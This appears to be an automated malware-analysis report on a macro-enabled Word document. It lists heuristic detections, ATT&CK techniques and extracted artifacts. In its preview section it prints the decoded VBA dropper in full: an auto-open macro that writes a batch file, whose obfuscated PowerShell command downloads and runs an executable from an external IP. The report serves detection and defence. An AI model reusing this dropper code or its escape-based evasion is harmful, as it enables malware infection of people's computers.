MALICIOUS
170
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1105 Ingress Tool Transfer
The sample contains a VBA macro that triggers on document open. This macro constructs and executes a PowerShell command using Start-BitsTransfer to download a second-stage executable from 'http://193.42.38.88/1/As33sd08.exe' and saves it as 'C:\Users\Public\Documents\employeethank.exe'. It also creates a batch file 'C:\Users\Public\Documents\givepractice.bat' to facilitate this download and execution.
Heuristics 6
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VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPERThe macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.Matched line in script
Private Sub Document_Open() -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
obh = CreateObject(sheee & "ll.Application").Open(asecond) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 909 bytes |
SHA-256: 94b34dcd2d4f7069afe9e16e53b2e8ffafa2fc5daed4ae9e962cc530cca82173 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() stockstage = "powers^" asecond = "C:\Users\Public\Documents\givepractice.bat" reachnotice = "hell" likethem = FreeFile Open asecond For Output As likethem Print #likethem, stockstage & reachnotice & " -w h Start-BitsTransfer -Source htt`p://193.42.38.88/1/As33sd08.e`xe" & " -Destination C:\Users\Public\Documents\employeethank.e`xe" & ";C:\Users\Public\Documents\employeethank.e`xe" Close #likethem sheee = "She" obh = CreateObject(sheee & "ll.Application").Open(asecond) End Sub Attribute VB_Name = "Module1" Sub picksoldier() ' ' picksoldier Macro ' 1Y9EPHD78LD1 ' End Sub |
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9728 bytes |
SHA-256: e2de7e9c0a5c88e76eee1ae7a1c30974507ff76fb9d1f11e8bd5103ef9e800dc |
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